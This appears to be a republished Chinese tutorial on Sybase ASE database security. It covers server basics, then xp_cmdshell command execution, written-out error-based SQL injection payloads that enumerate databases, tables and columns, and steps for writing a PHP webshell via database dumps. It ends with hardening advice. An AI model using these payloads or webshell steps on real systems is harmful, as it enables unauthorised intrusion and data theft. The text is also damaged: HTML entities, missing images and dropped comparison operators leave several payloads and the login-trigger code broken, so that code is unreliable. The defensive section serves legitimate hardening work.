共计 6217 个字符,预计需要花费 16 分钟才能阅读完成。
本篇文章给大家分享的是有关 Sybase 数据库安全的示例分析,丸趣 TV 小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着丸趣 TV 小编一起来看看吧。
0x00 Sybase 数据库介绍
简介
Sybase 的全称又叫:SAP Sybase Adaptive Server Enterprise (简称 ASE 或 Sybase ASE),继承于 MSSQL 的原始代码,和 MSSQL 血缘很近。Sybase 是一种关系型数据库系统,是一种典型的 UNIX 或 WindowsNT 平台上客户机 / 服务器环境下的大型数据库系统。它以 PowerBuilder 为开发工具,以 SAP Sybase SQL Anywhere 为客户端。目前新版是 ASE 15.7.x,命名从 12.5.5 直接到 15.0.0(跳过中间的 13、14),本次测试的是 12.5.2,其中 12.5 是 12 大版本中最稳定的版本。
创建数据库的时候要注意存放设备:
服务及端口
开放端口:
备份服务:5001、监控服务:5002、数据库主服务:5000、存储过程服务:5004
默认数据库
Master:系统的核心数据库,控制服务器的操作以及存储有关所有用户数据库和相关的存储设备的信息,包括用户的用户名和密码;
Model:模板数据库,当创建用户数据库时,系统根据 model 数据库制作副本,并将数据库的大小扩展到用户指定的大小。
Systemprocs:保存系统的存储过程。
Sybsystemdb:关于分布式事务管理功能。
Tempdb:包含临时表,放置临时数据。
注册用户和数据库用户
当 SQL SERVER 创建注册用户后,该用户就能合法进 SQL SERVER,该注册用户信息会放在 master 数据库中的 syslogins 表中。但只有注册用户成为某一数据库用户,并且对该用户赋予某些权限时,该注册用户才能在限制条件下使用数据库中的表。
创建注册用户:
sp_addlogin loginame, passwd (删除即为 drop)
创建数据库用户:
[dbname..] sp_adduser loginame (此处的 loginame 必须是注册用户,否则报错)
分配权限:
grant all | select,insert,delete,update on table_name | view_name | stored_procedure_name to username
或
grant all | create database,create default,create procedure,create rule,create table,create view,set proxy,set session authorization to username
数据库用户分类
sa 用户、数据库属主、数据库对象属主和数据库普通用户
1)、sa 用户: 为系统用户,拥有全部的权限。
2)、数据库属主用户:数据库属主 (dbo) 用户可对本数据库中所有对象 (如表、视图、存储过程等) 进行操作。
3)、数据库对象属主:在实际管理中,,一般为数据库属主。
4)、数据库普通用户:类似于 public,数据库普通用户必须在数据库属主对本数据库中某些对象 (如表、视图、进程等) 赋予某些权限时,才可对本数据库中某些对象进行允许的操作。
别名 (aliases) 与组(group)
1)、别名:所谓别名 (aliases) 即将 SQL SERVER 中的注册用户以同一个数据库用户的身份来访问数据库,并具有与该用户相同的权限。
2)、组 (group) 为数据库用户的集合,即通过对组 (group) 的权限的控制达到对该组中数据库用户的控制,但也可对该组中数据库某些用户进行格外的权限控制。
角色
一般在管理分工较细的数据库系统中,sa 用户往往被分为三种角色:系统管理员角色(SA role)、系统安全员角色(SSO role)、操作员角色(OPER role)。
连接及管理工具
1)、isql
类似于 mysql 数据库的的 mysql.exe。可连接本地及网络数据库。使用 isql ndash;U sa ndash;P“”连接:
所有参数要区分大小写:
-? 显示 isql 开关的语法摘要。
- L 列出在本地配置的服务器和在网络上广播的服务器的名称。
-U login_id 用户登录 ID。登录 ID 区分大小写。
-P password 是用户指定的密码。如果未使用 -P 选项,isql 将提示输入密码。如果在命令提示的末尾使用 -P 选项而不带密码,isql 使用默认密码 NULL)。密码区分大小写。
-S server_name 指定要连接到的 SQL Server 默认实例。如果未指定服务器,isql 将连接 到本地计算机上的 SQL Server 默认实例。如果要在网络上从远程计算机执行 isql,则需要此选项。
-H hostname 是使用的客户端的主机名称。
-d use database name,用于指定使用数据库名
2)、官方 Sybase SQL Advantage
缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。
b、只支持 SQL 语句,个人觉得就是 isql 的图形化版,有所不便。
(Sql.ini 设定及功能:http://blog.csdn.net/potato015/article/details/2450989)
3)、官方 Sybase Central
缺点:a、随数据库完整安装包一起发布,使用时有版本上的要求。
b、功能不是很强大
4)、DBArtisan
0x01 Sybase 安全
执行系统命令
默认 xp_cmdshell 是不开启的。未开启 xp_cmdshell 时:
开启 xp_cmdshell : sp_configure xp_cmdshell context ,0
开启 xp_cmdshell 后执行命令:
权限不够时执行 xp_cmdshell:
细节:
1、执行 sp_configure xp_cmdshell ,0 允许所有含 sa_role 角色的 login 用户执行 xp_cmdshell 命令,此功能默认关闭
2、默认 sp_configure xp_cmdshell ,1 经测试需要在 windows 下具有相同 longin 用户名称和密码,并且该用户隶属 administrators 权限组,还有一点不能忽略:取消选择“用户下次登录时需更改密码”!
3、MSSQL 由于和 windows 集成,可以直接使用系统账户登录到数据库。而 Sybase 则需要按照上面第二步做配置才能达到和 MSSQL 类似的效果。
注释符与联合查询
支持 union,可以用 / /、– 来注释,可以用 / / 来替换空格,也可以用 + 代替空格,也支持 count(),不过通配符 不能出现在子查询中。
12.5.2 及以前的版本不支持 TOP 关键字,形如 select top N from 注入语句将报错
当然,不能用 top,肯定会有替代方案,那就是 set rowcount N
但是 set rowcount N 貌似不支持子查询和条件句:
多句执行
与 mssql 不同的地方是:多条语句直接以空格分隔,而不是分号。
对编码的支持
与 MSSQL 相同:
SQL 注入特性
以 Php 为脚本:
以 Java 为脚本:
判断是否是 Sybase 数据库:
id=1 and exists(select * from master.dbo.ijdbc_function_escapes)
以报错方式注入时要注意,sybase 是不支持不同类型数据直接相比较的(与 MSSQL 不同):
id=1 and 1=user id=1 and 1=convert(integer,user) ![enter image description here][28] id=1 and 1=convert(integer,(select+@@version)) ![enter image description here][29] id=-1 union select 1, ,(select @@version)
列库(复杂版本):
id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name) lsquo; rsquo;))
列出 *** 个库 master
id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),CHAR(32))) FROM (SELECT name FROM master..sysdatabases) AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name) rsquo;master lsquo;))
列出除 master 外的 *** 个库
列库(简单版本):
id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1)) 不断递增 dbid 的值
dbid 是连续的数字,猜解起来很容易
PS:虽然 Sybase 不能用 TOP、for xml path,但是支持 having、where not in 等语法,变化方式依然有多种
与 MSSQL 不同的一点:
MSSQL 是 xtype Sybase 是 type
列表(只能用复杂版):
id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type= lsquo;U rsquo;) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name) lsquo; rsquo;))
列出 *** 个表 cmd
id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32))) from (select name from test.dbo.sysobjects where type= lsquo;U rsquo;) AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name) lsquo;cmd rsquo;))
列出除 cmd 外的 *** 个表 cmd0
列字段:
select name from test..syscolumns where id=object_id(lsquo;users rsquo;) and colid=1 递增 colid
即:
id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id( users) and colid=1))
工具注入:
穿山甲猜不出库名,抓包发现使用了 TOP 关键字,看来穿山甲只支持 12.5.3 以后的 sybase
备份写文件(webshell)
前提条件:
1、备份服务打开
2、备份服务允许远程访问
3、有数据库权限(宿主权限)+ 磁盘写权限
步骤:
、create table cmd(a image) mdash;
、insert into cmd(a) values () mdash;
、dump database test to lsquo;C:\wamp\www\1.php rsquo;【全备份】
(对应 MSSQL 为:backup database 库名 to disk= C:\wamp\www\1.php WITH DIFFERENTIAL,FORMAT;–)
dump TRANSACTION test to lsquo;C:\wamp\www\1.php rsquo;【LOG 备份】
(对应 MSSQL 为:backup log 库名 to disk= d:\www\xxx\test.asp –)
注:使用 dump TRANSACTION 时要求数据文件和日志文件不能存放在同一设备中。
、drop table cmd–
加固与防范
口令
sp_password “原密码”, “新密码”, 用户名
例如将 sa 用户的密码由空改为 123456:sp_password NULL,”123456”,sa
sp_configure “minimum password length”,8 --- 密码最短长度 sp_configure “check password for digit”,1 --- 至少包含一个数字 sp_configure “systemwide password expiration”,90 --- 口令有效时长 sp_configure “maximum failed logins”,5 --- 设置口令错误锁定阀值
删除扩展存储过程 xp_cmdshell,并删 除 sybsyesp.dll
exec sp_dropextendedproc xp_cmdshell
关闭 sa 账户的使用:
sp_locklogin sa, lock“
关闭远程访问:
exec sp_configure“allow remote access”,0
exec sp_configure “allow remote access” ,0
关闭后,很多服务将无法使用,比如备份
登陆 IP 白名单
系统没有和登陆相关的限制设置,只能通过创建登录触发器来实现登陆 IP 白名单
create procedure login_trg as declare @ip varchar(18),@login_name varchar(20) begin select @ip=t.ipaddr,@login_name=suser_name() from master.dbo.sysprocesses t where t.spid=@@spid if @ip 192.168.0.102 begin raiserror 30000 IP address %1! ,with user %2! login failed! ,@ip,@login_name select syb_quit() end else print Welcome! end
创建登录触发器后,执行如下命令:
isql grant execute on login_trg to loginname isql sp_modifylogin loginname, login script ,login_trg
日志
isql exec sp_configure log audit logon failure ,1 -- 记录登录失败信息 isql exec sp_configure log audit logon success ,1 -- 记录登录成功信息
以上就是 Sybase 数据库安全的示例分析,丸趣 TV 小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注丸趣 TV 行业资讯频道。